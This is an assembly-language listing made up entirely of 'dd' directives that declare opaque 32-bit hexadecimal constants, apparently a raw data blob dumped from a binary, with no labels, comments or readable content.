dd 0AEBF6B00h, 740DB133h, 186C00A8h, 19FBA1D0h, 0FC00A027h
dd 0C2B826D3h, 30BEDE41h, 0D5AA6FA9h, 501E3E3Ah, 8D00D8E4h
dd 43D4BA0Ch, 628E03BFh, 4AE9F981h, 8BA57DD8h, 0BAF66800h
dd 5DC08287h, 643A0B88h, 0F0802714h, 1F1504BCh, 1D0E4401h
dd 7A9E2CB9h, 0C755709Dh, 606B4503h, 54331B74h, 0F197E3Ch
dd 6F0C9h, 4A836653h, 2FBF1D4Dh, 9AA90B16h, 0E41F2200h
dd 0AB003E34h, 0CA069BA6h, 0FF6C24h, 0EDECCC6Ah, 755B66A5h
dd 2BA87002h, 0C3D0D102h, 589CE03Fh, 3188001Dh, 0B08C04B8h
dd 110030C1h, 0CB55DFACh, 4BEBE6h, 0CFE91338h, 37CD946Eh
dd 0E3001F72h, 70C44C08h, 0CFE69h, 17073C3Ah, 0EEB7C6E4h
dd 0ED2B4A00h, 0D1DE276Fh, 3DE2001Ch, 3AD37BAh, 84002150h
dd 4C25C7BEh, 13018ED6h, 2D8D0A4h, 798AEF4Bh, 60E19C80h
dd 0EB003EA5h, 945CB695h, 0B566D78h, 4FB77E73h, 6A7D0580h
dd 0AA007C1Ah, 7277BDE3h, 45A7E5h, 48B9190Ch, 5B2B377Bh
dd 6F8EEA00h, 0EBAB8655h, 93E0E8h, 80684825h, 0F7D21309h
dd 0AC055174h, 8C81E122h, 0F1BC1F80h, 0EBDE3A2Dh, 2CE36E03h
dd 51C086E7h, 3300E25Ah, 56EAFAD9h, 0EF4B668h, 0C3F378Ah
dd 5E7C1720h, 4B1C29EDh, 73402E91h, 0D2502863h, 6282004Eh
dd 5EF720Bh, 0FFF2553Dh, 0A29DF400h, 0D2D3E161h, 71B893h
dd 0C0BACC5Dh
dd 1F790D94h, 0F821E500h, 0D40B3CACh, 16E8E6h, 0A41E1C9Dh
dd 23D38842h, 0D80450C0h, 0BE74E1h, 6DEDA819h, 11F0FD5Ch
dd 42B5EF00h, 0BDB671B7h, 0D7CC00B4h, 6E393B5Fh, 0DB0F329Ah
dd 0CE2866h, 0B391823Ch, 9F873DCBh, 0D78AE780h, 676BD02Ch
dd 9900E0E6h, 0FCD4D133h, 7DC0B8B2h, 9E7700A7h, 1B4EC88Ch
dd 6A00DA10h, 2C2EF19Ch, 2E292B9Fh, 307925Ah, 3EFA883Ch
dd 9CD8A088h, 0F8C57700h, 0AABE2370h, 860E04F2h, 814EDDC6h
dd 204C938Eh, 91E908h, 755A4D00h, 0B8B5709Ch, 707FE477h
dd 45430368h, 569425C2h, 7A4EC4D8h, 5F2E1D00h, 42213054h
dd 0B20F1C43h, 17668251h, 840840Dh, 8B0108E0h, 0B86C4725h
dd 0C420413Dh, 7779049h, 0F66694FCh, 0BF88B054h, 733FD8BCh
dd 0F9CC80Ch, 18F4686h, 4DE8D429h, 75C0EFC8h, 79F2002Ch
dd 5B828BF0h, 5C1DB1B6h, 19C06C85h, 0B7382ED5h, 0D4FA0096h
dd 79573EB0h, 1700138Ah, 3BDA912h, 0E0E7D1h, 0AE6DA73Bh
dd 75AD38E4h, 331EA800h, 30115946h, 278D1CD1h, 0EAB98008h
dd 57BD0EE6h, 5A16400h, 0A3A96DB2h, 0F01D0960h, 0A8828B03h
dd 70682502h, 40008F9Ch, 8D06BDB4h, 0E808032Eh, 9EFCEF31h
dd 97274CDh, 9CC7321Bh, 2687D480h, 42008C53h, 0DA85E8A5h
dd 2CC8B3DCh, 1E5E6543h, 48A985C3h, 0E8F500D3h, 455C2AA0h
dd 1A874700h, 8A11D5C6h, 167EEBBh, 247531BCh, 41BDFFAAh
dd 3083A2C0h, 0D20014C0h, 58696FF5h, 165C8DF6h, 7B2AF7Dh
dd 904E3AD9h, 0BE489C05h, 1A95341Eh, 0CDBCE880h, 3F24A838h
dd 3D00FBF6h, 79DAE71Bh, 5A00659Ch, 3EE01AC7h, 0BB35F9Bh
dd 9DD9B1F7h, 0CC1C9B80h, 0B00C044h, 4A2FDDC9h, 0B0E38651h
dd 4CDF7AE8h, 7333CAh, 0DFD52FFh, 0C47ADE98h, 990CFA00h
dd 932856EEh, 17720001h, 4D7B873h, 2D002449h, 45FBFA20h
dd 35C8848h, 5A03628Fh, 59807D1Eh, 98609Dh, 0A766B701h
dd 6F7EBF4Eh, 796AE0h, 49B1178Eh, 41940FFAh, 0E41D3Ah
dd 0B00B1E74h, 0C947B3h, 0FFCF67A8h, 5BAD1C83h, 5843D024h
dd 84669500h, 2D3B0BCh, 0AECB3C9h, 8055A16Ah, 95BF36D5h
dd 5DE07EFh, 80DCAAABh, 3258100Dh, 7D8C4E53h, 0BA8EC113h
dd 4927FF00h, 431A92h, 0ADAE0E57h, 366BE512h, 0E7F48F00h
dd 3830DF6Ch, 7D6100EFh, 9C4837BFh, 630355B0h, 92196946h
dd 0E4CCA0C0h, 91EB0E2Dh, 8740E094h, 753F46A5h, 94676D2Ah
dd 0A609E830h, 90F01541h, 0C73F00BCh, 0C339FAFEh, 0A03A162Ah
dd 194200C0h, 13634DF4h, 9B910EDEh, 0B487D63Bh, 79E41AEh
dd 6D8260A9h, 87944D54h, 0D811E026h, 9020CD97h, 98DF3810h
dd 0F13B0060h, 680FCAF2h, 0F37D0885h, 459042E0h, 5FD0B01Ch
dd 0E9EA1240h, 12AA5155h, 4D29693h, 54824BA8h, 16DF1EC9h
dd 183D0F00h, 2842E7E8h, 0ECECEDDh, 0BA108D71h, 0A7928500h
dd 0CD078BBFh, 0AF412AFCh, 3A0B804Bh, 3B391773h, 6B00FECBh
dd 5EEE0351h, 0F5006797h, 5058FFC1h, 0A2CFD8h, 95386011h
dd 8B9FAD4Dh, 0B0D66C01h, 0D57E0C8Ch, 0FA57F9E4h, 42A00E9h
dd 0CCEFFDC6h, 0A2008667h, 0C901058Ch, 3DE784DBh, 0DCC83722h
dd 6BF43B0Ch, 10EAF770h, 1C440B00h, 86455212h, 146D3A64h
dd 0A3A76E00h, 0EF23CFA4h, 0F100C9E8h, 0C4FAA2E9h, 0B8C7B642h
dd 6A5C0087h, 0E2139BB0h, 0D500484Ah, 6356F47Eh, 2CD344BFh
dd 7A539Dh, 4BA41628h, 0CB584662h, 0AC261765h, 19E11F01h
dd 2CC0BEDh, 7F0B852h, 77424816h, 80BC50F3h, 0A13DC371h
dd 3E630FB4h, 0C83D8C4Dh, 0D5FEAEh, 0D2A79692h, 889BCD67h
dd 0ED2B3F28h, 0D0FE2200h, 0B6406CDAh, 5E67003Dh, 0CF8899B1h
dd 6100CC43h, 740DC0A6h, 0B6FAAh, 583BAE03h, 283EA8A7h
dd 3112550Fh, 2B6AE02Dh, 0AB770Ah, 0EABECF4Fh, 2E32C6BBh
dd 6B13C100h, 18F0F9CEh, 16DD0F8Bh, 76029205h, 0C2C06EE0h
dd 0AA09CB52h, 82EC3Bh, 846BBC24h, 6D400B2h, 69BB4F87h
dd 0BE0D5938h, 2C625433h, 76A6088Eh, 3F0905A0h, 1492E655h
dd 0CE18610Dh, 7FFC6846h, 0E2D3017Ah, 480DB131h, 2714E4E0h
dd 76AA000h, 1E6DA682h, 571F0097h, 0DAD1F4B1h, 0D71F868Ch
dd 83036EFAh, 0C0A5B60Dh, 0A6A8452h, 0C28F6231h, 680407DAh
dd 0DC102393h, 2813B82Ch, 72545940h, 0F08B7AACh, 67310A96h
dd 0AAC7E93h, 2484EFFCh, 0E6900BFh, 2F630B59h, 80046539h
dd 0C2D47A7Ch, 16B388FFh, 1311BDF0h, 0D20C008Fh, 907E24F2h
dd 91C52700h, 64CF803Bh, 1C483C15h, 8535CB8Bh, 0D077B707h
dd 0AFEFB991h, 766AD858h, 1C7BD62Eh, 0A95F0D02h, 468781C6h
dd 71E00AC1h, 2D12007Eh, 2F3C947Bh, 36739678h, 200F560Eh
dd 2A198175h, 7A70405Bh, 83E71D47h, 624181D1h, 85B33EF3h
dd 67A4FCA0h, 78A11CC0h, 46F6001Dh, 3CDAFF7Ah, 2400DC1Ah
dd 0BCD1372Fh, 3F203650h, 0C4807352h, 0C395544Ah, 0B3187840h
dd 0D7C55CFh, 0FB3300CEh, 97FE58D9h, 0EC136987h, 9000ACA3h
dd 0DDFACFF2h, 0E3EE009Eh, 0FCD62B96h, 0A8B0763Ch, 2E34DB05h
dd 0AC011EBEh, 9E5921BFh, 0E729070h, 0F623547Ah, 6F37DD81h
dd 0FC32300Ch, 3F0055F6h, 5C596A1Ah, 0E0DE12B7h, 9D73001Eh
dd 8E83D4BFh, 0E300D0BBh, 33088084h, 7E4A23DBh, 99962670h
dd 1EFC00F8h, 8253C7DCh, 0E4F85907h, 0AFD0D7E8h, 1332B4h
dd 52B257DBh, 0BBB00F42h, 1D1C8148h, 0AAC4E224h, 0D8C09D22h
dd 1C04E020h, 17EA3F50h, 8D218DCh, 0BB124D2Bh, 0C00B17Ch
dd 0B9EC9D70h, 879C0167h, 0B36DE0D2h, 0A658D45Fh, 4780E48h
dd 19C964C0h, 0D31BFB01h, 9BBC60F4h, 2CC2301Ch, 1500767Ah
dd 41994DB2h, 0B4D57Fh, 7684103Eh, 29863A90h, 0E9784500h
dd 31774F2Ch, 880D307Ch, 56F08EB8h, 0C90F6690h, 835CA76Fh
dd 0A00110F3h, 0F67DF8DCh, 7E9900FAh, 0C725B559h, 91FA416Ah
dd 0E38F7600h, 0D6E46D3h, 664201C6h, 120ED4AAh, 43CA80BDh
dd 83FACE82h, 7D07093h, 9036FFFh, 5D7EE0D6h, 7A02E9B7h
dd 0BA855CD8h, 483EC187h, 0F537988Bh, 0BADC4A1h, 7F6D893h
dd 1C40A14Eh, 39D8DF4Bh, 87311D8Bh, 0C9D41F41h, 7582925Ah
dd 87C0CFACh, 3E00DB07h, 0F4C3ADF9h, 0FAEDFCh, 0BEBCEA6h
dd 0D3DFB2CFh, 23AB0F00h, 104AE802h, 0C0AA004Eh, 3F011FB9h
dd 69388F5Ah, 98A8B2AEh, 488C44B0h, 0B5514490h, 16850C8h
dd 0E31B6E83h, 0C517FB77h, 6F0BE0F5h, 0DBC1CA12h, 308B7000h
dd 26785057h, 0AE06D61h, 2865C4h, 40DDF30Eh, 3300F112h
dd 431C60A9h, 0E0A6D88h, 0F5ECB685h, 18078FD4h, 0C07136CCh
dd 20E18D02h, 0D0507E01h, 0A0CB6534h, 0CA2CA880h, 0C12A120Dh
dd 29005990h, 821A25C8h, 0F7631D2h, 3E09FA9Eh, 0D10EDD00h
dd 1803FEBFh, 10E6F78Dh, 605A0ECh, 2DA01E1h, 1999175Dh
dd 0B33C7095h, 0E23ED601h, 0E6FAD950h, 0E0001838h, 1611D034h
dd 645C1A1Ch, 40C71D4Ch, 0D5D2AC40h, 2E92E13h, 3F8D48E3h
dd 0AC89EFB7h, 5DA71800h, 631D4A81h, 41443909h, 4C808D28h
dd 0D6BDA2h, 0CB848382h, 202DDBC5h, 0A7977A00h, 885B5C56h
dd 6FAD00A0h, 3B723D9Eh, 95076EF9h, 9DECE00Dh, 0FD6D4A90h
dd 38E8E9h, 5405B95Ah, 14F0B670h, 48A00424h, 72243001h
dd 0F0F70E3Ah, 0AAC88E0h, 40BAE6FBh, 0DB6103C0h, 0B00A7471h
dd 0B0AB226Ch, 0C0C17204h, 94155CD0h, 0D1510F1Bh, 37A0E167h
dd 0CCECB3C8h, 4F5C8F00h
dd 68FFCE11h, 818B002Dh, 0C2EEEB0Fh, 0EF1DE618h, 220F067Dh
dd 28162D55h, 0E96D71C4h, 0B800F76Ch, 3CA2AB65h, 0AD0FE544h
dd 0A039C870h, 481A9C86h, 0FC084CC1h, 965DA300h, 0DD64D7D0h
dd 41B2DB02h, 403BA053h, 774975Ch, 738386E1h, 6CD87096h
dd 27038A90h, 0D0EB1A69h, 0D215807Bh, 740E1E5Eh, 82091D44h
dd 57377D72h, 812C2CC9h, 7F75110h, 84703CE7h, 0CD773CCCh
dd 35B5568Eh, 0BD4D87C0h, 5D010C75h, 381381B6h, 6C607050h
dd 0ED0D0B5Bh, 0C0029DD7h, 40692A57h, 0FDAC10B1h, 9CB80072h
dd 1203D98Eh, 13EACFDAh, 4DBEE400h, 0A37F74FFh, 2405F8EDh
dd 1B338FDh, 9E44276Ch, 0C432F0E6h, 0B63D8205h, 88C0FA53h
dd 0FCD54F41h, 558F00E9h, 914B436Ah, 971C6DB7h, 18E4C638h
dd 8EEB8503h, 106CF179h, 7D570430h, 3DC41309h, 6B4C0FD8h
dd 0B0E01Fh, 0DF1C0A04h, 40D05C67h, 100F7276h, 45927D8h
dd 4350FCE0h, 6B9A95C0h, 0E4905C25h, 24D98800h, 0CA415347h
dd 2DAFA5Ch, 5539195Dh, 1150C07Ch, 0B0E34C63h, 60B3801h
dd 0E0025B2Eh, 25124F52h, 0C4C0871Dh, 3FE8949Ch, 0B79718A7h
dd 0AD2D0098h, 6F32E709h, 9C032398h, 2ED2E75h, 71F0B049h
dd 51090019h, 0C649306h, 304C9122h, 0B2BB1F2Ch, 0FCAA5200h
dd 17EED4A3h, 1F4884Ah, 50B9E1B9h, 5D93C447h, 6E875F00h
dd 0F4EC27E3h, 0A990064h, 0E2D6C437h, 511329DCh, 1FBDB0Eh
dd 0E061B019h, 0D7F8833Ch, 0DBC6ACB4h, 1870C79Bh, 0D233A8h
dd 3DDDA667h, 57E3B810h, 0C19F1300h, 0C8BB80BAh, 0BD96029Ch
dd 0BEB199F6h, 10F08050h, 3F473A09h, 0C40033Dh, 51F79009h
dd 18BF4C4Eh, 94C6D580h, 544C6C7Fh, 0B477C0D8h, 0E8852372h
dd 19D90196h, 0DB62EEAAh, 484420BEh, 0B0E6FD25h, 7639A8h
dd 0CFF861E8h, 0B893E9D6h, 8E554600h, 9083CAE0h, 412D01C2h
dd 0F1AD248Ah, 1448C212h, 50941EB6h, 0CC3F761Ch, 612D007Ch
dd 0B9BF98B4h, 80A50375h, 2F9DEF7h, 0A407F4A0h, 0BE9CEB00h
dd 551C14F3h, 9EA6000Dh, 295329Bh, 88488DF2h, 99004F62h
dd 0C8C00F4Fh, 0A67B001Eh, 2B41996h, 3A0004D4h, 0A360EAABh
dd 7FBC7552h, 53A600EBh, 359E1B90h, 0F5002206h, 4C42A1E8h
dd 94761BBh, 0A57FF77Bh, 0C63B1D00h, 0B1399689h, 0DD989F14h
dd 931DFE00h, 0EC23B7CBh, 290E1F1Ah, 0A9C1401Ch, 0D6B52B3Bh
dd 0CAA1780Bh, 1009FD57h, 86A5EC00h, 85001B09h, 0B77016ECh
dd 191593h, 0CF9B7A3Bh, 3858BA6Bh, 16746007h, 602E1191h
dd 9481BC8Fh, 9AAC2407h, 50CF0094h, 4767C819h, 9E1A3C00h
dd 9F1B3E9Dh, 41830084h, 0ABB2ED32h, 8E00E131h, 8D162953h
dd 0F72B7Ch, 0DB3CA512h, 0C45851EEh, 5BAEF50Ch, 38CE10C3h
dd 7B00AB66h, 99E0D8C0h, 6000BD62h, 650BF1BAh, 1DE6DF50h
dd 7D90D520h, 0D8007CCCh, 4EDBA562h, 0DC00A80Dh, 3D06DD37h
dd 9C9A51h, 14E2AB9Eh, 6FCD9193h, 20750400h, 0AE4C31D0h
dd 0C6890024h, 6E0BA2B4h, 400073DFh, 0F3112F2Eh, 35A91DAh
dd 4C8C30BFh, 2890579Dh, 200E342h, 69591D29h, 71F33D0h
dd 0EFE918F9h, 10B207F6h, 6B4AF7Dh, 31076D07h, 950936Ch
dd 121162h, 0EC68C78Dh, 806A10B1h, 0D077BEAh, 4ECE759Dh
dd 0FB85810Eh, 0FEC840C2h, 6A890028h, 0F4BA9068h, 8A0060ECh
dd 3E0EA1F6h, 10BA618h, 4C8E82A8h, 808F429Ah, 688ACD1Ch
dd 3CF3AC04h, 431FA2C2h, 0F1501887h, 0A00033DBh, 0EDF6D359h
dd 1BBC22E9h, 489F9209h, 0F7DE488h, 47F1A20h, 0D163ACC7h
dd 0D768C02Fh, 8303D98Dh, 703A82FAh, 0DAE344h, 135C360h
dd 5FEAA5DFh, 72B82567h, 0ED573A30h, 6C5500F6h, 0C6664A8Dh
dd 0BA00B865h, 7F443F8Ch, 486108h, 0E067A143h, 0CA6B3663h
dd 35161C07h, 17B0ECB7h, 887F85h, 0E9260EBFh, 957AB94Eh
dd 14664800h, 2A8BE5A1h, 1BB05Eh, 0E827E0BBh, 7770BEC0h
dd 0A41AEE00h, 56360FBCh, 7CE70E12h, 790089FDh, 0AC50C474h
dd 4D802D00h, 0FBB6A75Eh, 3A0B4CA8h, 94C85F00h, 0E6237805h
dd 0C6651F01h, 840297FFh, 1CBCAD70h, 3EF95712h, 0EB9FE10Fh
dd 0FCD010D6h, 3D21A300h, 8A711FCBh, 1C7E4A00h, 0C9176A82h
dd 0EB650034h, 526F0FF6h, 0C700FB51h, 2C78D045h, 3915BE0Ch
dd 240053DAh, 20502386h, 59775735h, 62183003h, 0A8552A8Ch
dd 674EFFh, 46AE6AB2h, 49368A6Fh, 3788F007h, 2ED06542h
dd 8E1741h, 961F5D2Ah, 40932482h, 0EC460F05h, 9A1D3B4Eh
dd 0EA56DC80h, 0F59DF43h, 98A6FCEFh, 4DCE2920h, 0AB008A19h
dd 41D34E55h, 0C75AD4h, 0DE53E939h, 0BFD0EE07h, 0D20A6D00h
dd 531EA38h, 0C65F00F2h, 0D971DF04h, 0EF0E6E21h, 0AB93A5A3h
dd 0F06FC98h, 0CD6092ABh, 4AB27251h, 17473D00h, 3DADD68h
dd 4B6B0E66h, 142F0939h, 0C41A001Ch, 0F97CA0FCh, 555EE00h
dd 0F152F838h, 13F4003Bh, 401AC54Ch, 250CFF21h, 10C4C063h
dd 1887040Dh, 0AF081E9Ah, 1986F981h, 8020E0h, 56D1D7A6h
dd 6AE2ACFEh, 8DE1FB00h, 5B7D0813h, 2F8AA092h, 0E5F466h
dd 0AB42EFD6h, 0A0249857h, 1FED83Ch, 50E04033h, 0C7D81576h
dd 0CA603480h, 20B48778h, 4F9B3B17h, 0BFC6B02Ch, 98E3AE00h
dd 0ED8470h, 12381A1Fh, 0A30A48B6h, 0B776F003h, 0A096EE8Bh
dd 3FE311E5h, 0D880E845h, 75CD0B30h, 1BE8F4D4h, 42537F34h
dd 78E2F880h, 2E133BC9h, 0B00E929Eh, 37736309h, 96C68A01h
dd 38788111h, 0ADA7A840h, 9F99001Ch, 9C940BACh, 903E04A5h
dd 0A66E8097h, 0A014B589h, 723E68Bh, 2BC174C2h, 25BBE0DCh
dd 0B8126DCFh, 400D632h, 0ED1444E3h, 117A2D79h, 51EA9D58h
dd 9DB6A13Ch, 73DA052h, 24D0CC46h, 954DF600h, 22EE0F2Bh
dd 0C5AF5CC3h, 80193CE7h, 0B5BCA632h, 94B2791Dh, 7C2BB840h
dd 6023DD9Ch, 0F7D9EE1Bh, 0CA00F1ECh, 0C3F3540Dh, 73F63026h
dd 0A65707C9h, 95FDA907h, 25CC0B6Eh, 0AC971580h, 2009F9Eh
dd 6C8BDE5Dh, 5E18C7h, 0C372D432h, 0AF16E26Dh, 7AEA1703h
dd 0C85BD288h, 32436B0Fh, 0AB194EB6h, 1B7F6560h, 0F0B7CCA0h
dd 5CC75024h, 25F69600h, 109E5Ch, 1E128013h, 2701FB0Eh
dd 0AE0DF80Ch, 0D328C0h, 22A097A9h, 7BEA6236h, 17D2F900h
dd 78672AC7h, 0E715001Ah, 988CA111h, 0AE00B9B1h, 0D9D38D77h
dd 399048AFh, 9836EA4h, 9C4F401Fh, 894E76C0h, 8B0024FEh
dd 13EE3EDCh, 0BD84B1h, 0BB70326Eh, 4CF177F0h, 976BC00h
dd 9C297E20h, 172600D3h, 0EC1AFC0Eh, 7700D621h, 5847BABBh
dd 0E93D07h, 0BCC9972Ah, 80B8C4AEh, 630DDA03h, 0A873921Ah
dd 57655Fh, 0C88DBA78h, 0CBA8AB68h, 95A6750Fh, 981B87B7h
dd 31E385E0h, 72942C33h, 802871h, 48CE944h, 0AA24169Ch
dd 0C4FD7500h, 0DA3C5BBDh, 0E2B60284h, 8B8C8E07h, 0B2D129C0h
dd 832AA23Fh, 1BBC892Fh, 0A3298035h, 27C26h, 0C15A0694h
dd 0AAC37BCCh, 0A7C5FA1Dh, 0A2A4E141h, 0B5202E29h, 0AD930722h
dd 0AA47A190h, 0EE5600AEh, 346C1B0Eh, 0E4B76800h, 0BD4FC07Eh
dd 0E7ACB89Bh, 39AE40D8h, 1B059610h, 800DAD74h, 0E45CD414h
dd 81B3EE00h, 9147F2F9h, 0D9920097h, 3D8F5B6Fh, 3CE29E46h
dd 88032FF6h, 5D480AE1h, 0C3D4A8FDh, 0C85B0045h, 51E656C2h
dd 0E7746C8Ch, 0BBA3B501h, 0F136D78h, 0F75420h, 0A4144A10h
dd 4FB055DFh, 0B600E474h, 0CFF51AACh, 1CFD2305h, 8037F0F2h
dd 4C3FF8D4h, 0F90E962Ch
dd 0E0671685h, 0C7DF59F6h, 7D7F0Eh, 0DA25B581h, 46CB8B77h
dd 745CC21Fh, 0B047EF00h, 98C4492h, 24D508FEh, 45561482h
dd 6B09C04Eh, 80C01DBCh, 5A3A4270h, 2D6A0078h, 39FE55C4h
dd 9CCF45FBh, 0CB60E0E7h, 2766B9E6h, 7D565ADFh, 0D6A3480Eh
dd 47993800h, 9338FEh, 8A400734h, 0BE288EA1h, 710622F4h
dd 4E52C788h, 60D10088h, 9A5A8A1Dh, 50C536A5h, 1003CD88h
dd 781D62D7h, 649E03B0h, 5C807271h, 11A067A3h, 10A0F6D0h
dd 5301198Ah, 296D45B7h, 25D065C1h, 82F400D6h, 31B1E2C9h
dd 0C0046E3h, 0B83D537Ch, 48C14771h, 0C331DDDFh, 40F9D630h
dd 1A77A128h, 527088C0h, 1F18809Ah, 40017AD8h, 3B7D31D9h
dd 882A53DFh, 0F34068CAh, 83028082h, 8600A7E8h, 3B203992h
dd 64FEEh, 80E6300Ch, 5BAEB3B9h, 5C50D07h, 34602CE3h, 55CC0Ah
dd 41284259h, 614F7971h, 3D44DB00h, 9F803C4Bh, 229100A6h
dd 25D283F1h, 81C356F3h, 0C750FBFh, 2B0DD6C0h, 4A032050h
dd 9006532Ah, 0B75E8B3h, 0A5841DBFh, 0F8E1C6FEh, 0BB0290Fh
dd 607529C4h, 7A429848h, 2162240Eh, 3C125D66h, 8913DD10h
dd 93C410Eh, 0B250115Fh, 1318FB11h, 74293D1Ah, 551BF980h
dd 0B0F6D981h, 544EA600h, 0DCA742ABh, 8B5F0002h, 0F02472A8h
dd 0B03FA3Dh, 0ACD08AC4h, 4647D83Eh, 2D7F21h, 0B62C485Ah
dd 897D56D4h, 5183CD03h, 0C8D0274Bh, 0BC339Fh, 0D591CD8h
dd 3D35835h, 0DED70C00h, 0FF91D08h, 66940F7Ah, 9FE0D218h
dd 6A449C0Dh, 0FEAD1F03h, 7BCA8CCh, 0BAFCB339h, 0F8CDA001h
dd 0F50385BEh, 426CFE6Fh, 89A0E0FFh, 2C3C16B9h, 391CEA14h
dd 0D878748Ah, 1D45F387h, 0AB485E60h, 0CC2900B0h, 584C2538h
dd 0FD07CDD4h, 347551ECh, 0A4695B60h, 89630112h, 0C72292F2h
dd 18A3DCBFh, 0ECE43024h, 385FB180h, 0D8B3CAh, 35F7EE26h
dd 2BE6FB02h, 0EE8E252Eh, 7D00C717h, 0CA3F4280h, 9DB50CE4h
dd 0A2D0BF7Ah, 44A8AF03h, 0D816DDABh, 3FDA684h, 9A8DFE29h
dd 40C810DBh, 600EDDAh, 9260D753h, 89B7E2h, 756AAA49h
dd 6DF98C91h, 52078078h, 0D35D03CBh, 0CCA73DF0h, 7CE460ECh
dd 6BAE9EDAh, 73B9A126h, 4D608B00h, 263A43F4h, 0F408ED3h
dd 83E0222Fh, 0F888BEC1h, 0AC4BA200h, 0BAAB512Ch, 0C8F0C003h
dd 28AECE90h, 434A7300h, 622C2F1Ch, 84B30382h, 5F1759F9h
dd 0C9ADC5D8h, 0A5E39850h, 80BC3F3Ch, 8F96501Bh, 0FAE872h
dd 8EA2018h, 0CE732BBDh, 6DBC3Ah, 0FF7EB974h, 0F8601457h
dd 0F4BF6330h, 95F8BC59h, 0D30127F8h, 2E01A52Bh, 5CD8AECAh
dd 0A6E10015h, 9F888FF7h, 8A0580FDh, 9224C53Ah, 0D0F18A01h
dd 72F8A6C8h, 0ADC71287h, 0B92847BFh, 27C160F7h, 0CD5C375Ch
dd 0E157241Ah, 0F236E00h, 7DD3F7C2h, 67E60030h, 433DB99Ch
dd 6C1266C8h, 380E2CECh, 0CE1EE17Fh, 5A00C7C2h, 25814D94h
dd 21D5DCh, 70AFAC03h, 0E59B0CE2h, 9EE99407h, 892787B4h
dd 0AB66CA60h, 7316036Eh, 0A9B5C4D7h, 0CF43DE98h, 1B19E376h
dd 20B03801h, 57B820h, 156FB26Bh, 215E5CD6h, 430081ECh
dd 7FDBD02Eh, 4A140Fh, 0AA36665Dh, 0BF907208h, 970D572Ch
dd 0E8CA3300h, 0BBAFB3h, 81B7A83Ah, 2F5A71B4h, 0FF19AD09h
dd 28AC837Dh, 6918A18Bh, 0B8BC40DAh, 821B0FD3h, 3D0046AAh
dd 0E44D5D11h, 0B213967Fh, 8C07EF9Bh, 0F65091A8h, 7CF009h
dd 0A2EBE4DAh, 3A305237h, 242EB072h, 6600AD5Fh, 0F73D1104h
dd 0D5E4ED19h, 4E5D00B2h, 0DBC0C44Ch, 0BF009E28h, 99B33DE9h
dd 613C89h, 0C9395F25h, 7EFE18ABh, 271CF200h, 6B05488Fh
dd 36D20120h, 0C3EE521Fh, 40364Ah, 0D15E2BC5h, 0A704E6h
dd 20A58749h, 0E21365F1h, 0E854C800h, 4C5641A9h, 4B14C57h
dd 53264E00h, 582B04A5h, 0C239CCE6h, 37B680A1h, 68A6AB94h
dd 932A0001h, 57BDE3AEh, 0E7EE5C90h, 0E423E909h, 7A10004Dh
dd 0F216A803h, 992F00F4h, 2C3D54F1h, 7E000902h, 39C5BA0Ah
dd 2655661Dh, 80B43FF3h, 0D035CE88h, 0F2F82634h, 0AC4F9000h
dd 79681D5Eh, 5C030065h, 2E69E30Bh, 0AE0EB821h, 479524A9h
dd 8B175864h, 7227BE70h, 0A14B3D31h, 9261A300h, 449AE294h
dd 0E77E5100h, 531A0E79h, 9FBD1E75h, 0C16405Bh, 240B954Ch
dd 407A1A90h, 97B52F00h, 0F65FA6AFh, 6AF20Ah, 331B2B76h
dd 4D3E5D85h, 0C0A77103h, 0B05593C3h, 2FB2BCh, 0B5FF7CC9h
dd 0A4DBC6C7h, 85DCCB1Fh, 83AF803Dh, 7289A573h, 319C3B18h
dd 0D3C3FBDh, 0C07D6D8h, 40D80A5Bh, 0D3B9FE88h, 0C5C4FC1Ch
dd 7C5CD040h, 3CFA0Bh, 3A4FE4DCh, 7BF6CD2h, 5EA6C8E7h
dd 7F4ECA00h, 0B3D8C7ADh, 8BBD1C53h, 0FEAB4026h, 2B9246EFh
dd 33BC3B00h, 0A54A51EEh, 870A029Dh, 47A8CF2Eh, 8009C3DFh
dd 77C408h, 0B54EC933h, 0F805B05Dh, 32F53Dh, 7D375260h
dd 0CDC2F9h, 0CCD431F7h, 3A6D2FD2h, 0CE10FB60h, 0A14C44h
dd 1228020Eh, 2675AE5Ah, 0F6825202h, 40F42AF7h, 38FBCE9Ah
dd 8480BE38h, 3EBFE8EDh, 3004483h, 8B3AB685h, 10E4548h
dd 0EDE42C66h, 0E871FF05h, 9F7A5EA2h, 17554B00h, 0B8BAF4A1h
dd 378C1DCAh, 1B28C038h, 74D25351h, 7D29CB01h, 0B5A676E6h
dd 1A8320h, 31E0936Ch, 8136D3E8h, 86981500h, 88A29B64h
dd 7DA771Bh, 3F451E9Ch, 21BEC12Bh, 0F2CEF81Dh, 0E9E7101h
dd 9FBA5204h, 0D30DE4h, 60F3405Eh, 0AE669ABEh, 0AFEB4600h
dd 0D1E93F6Bh, 26830715h, 0C04F4D51h, 0A9636152h, 77166D00h
dd 0B85EBAACh, 0A3C60094h, 80335145h, 5300F09Eh, 0FED5A44Eh
dd 476B2Ah, 0B2C6E87Eh, 31D31E05h, 96A0C4A0h, 41BDCF00h
dd 0EC976CF8h, 0F99A03DDh, 0F232398Ah, 8B5E1491h, 80855B48h
dd 0AC11DFE2h, 8AC300CDh, 343C7623h, 0D00137Bh, 2BF1819Dh
dd 8B643h, 0EC6F5929h, 3FCCDBFBh, 8A5D7700h, 0ADC87A07h
dd 5ECD07D0h, 0B3418D68h, 0A4D8A5FDh, 0FC07F617h, 0BFF1D20Ah
dd 33740110h, 0FA6F58B9h, 7B03AB00h, 2F27DD8Bh, 0D73A171Eh
dd 39B54480h, 9FE3B9h, 71E10B97h, 4DC840FBh, 4A417C00h
dd 6F3ECB2Ch, 7220C090h, 0A0748DC0h, 0E3B9F72h, 40FE8CC5h
dd 6711BDh, 0F3F94E2h, 0C799028h, 853ED900h, 0B263F683h
dd 8EC313E7h, 0F3BB0054h, 4CB653C8h, 0F41F10F0h, 0A7C01BCEh
dd 6C281E57h, 6767DFAh, 0A8078BEFh, 0DB00E642h, 58D6930Eh
dd 8B505h, 69C5595Ah, 110CA823h, 0F348CEh, 2B57B9A3h, 0D4FAB6h
dd 0E00FC8AEh, 0B2E11308h, 15014779h, 7BF74ED2h, 7F5D56h
dd 0B0670532h, 7D5C336Fh, 2ECF14BFh, 8A5C12F4h, 68EC6440h
dd 3C199A4h, 2D860596h, 8095DE2Eh, 3FA13ABFh, 7EBEE124h
dd 0F9980D00h, 1046C7h, 0E7D02062h, 0ED99010Fh, 428F9D14h
dd 4D2508F4h, 0C83C0073h, 0B1C3ECCh, 998D550h, 51EA7000h
dd 0B04BF354h, 592728F1h, 8370EDCh, 85606F65h, 0B1461B9Ch
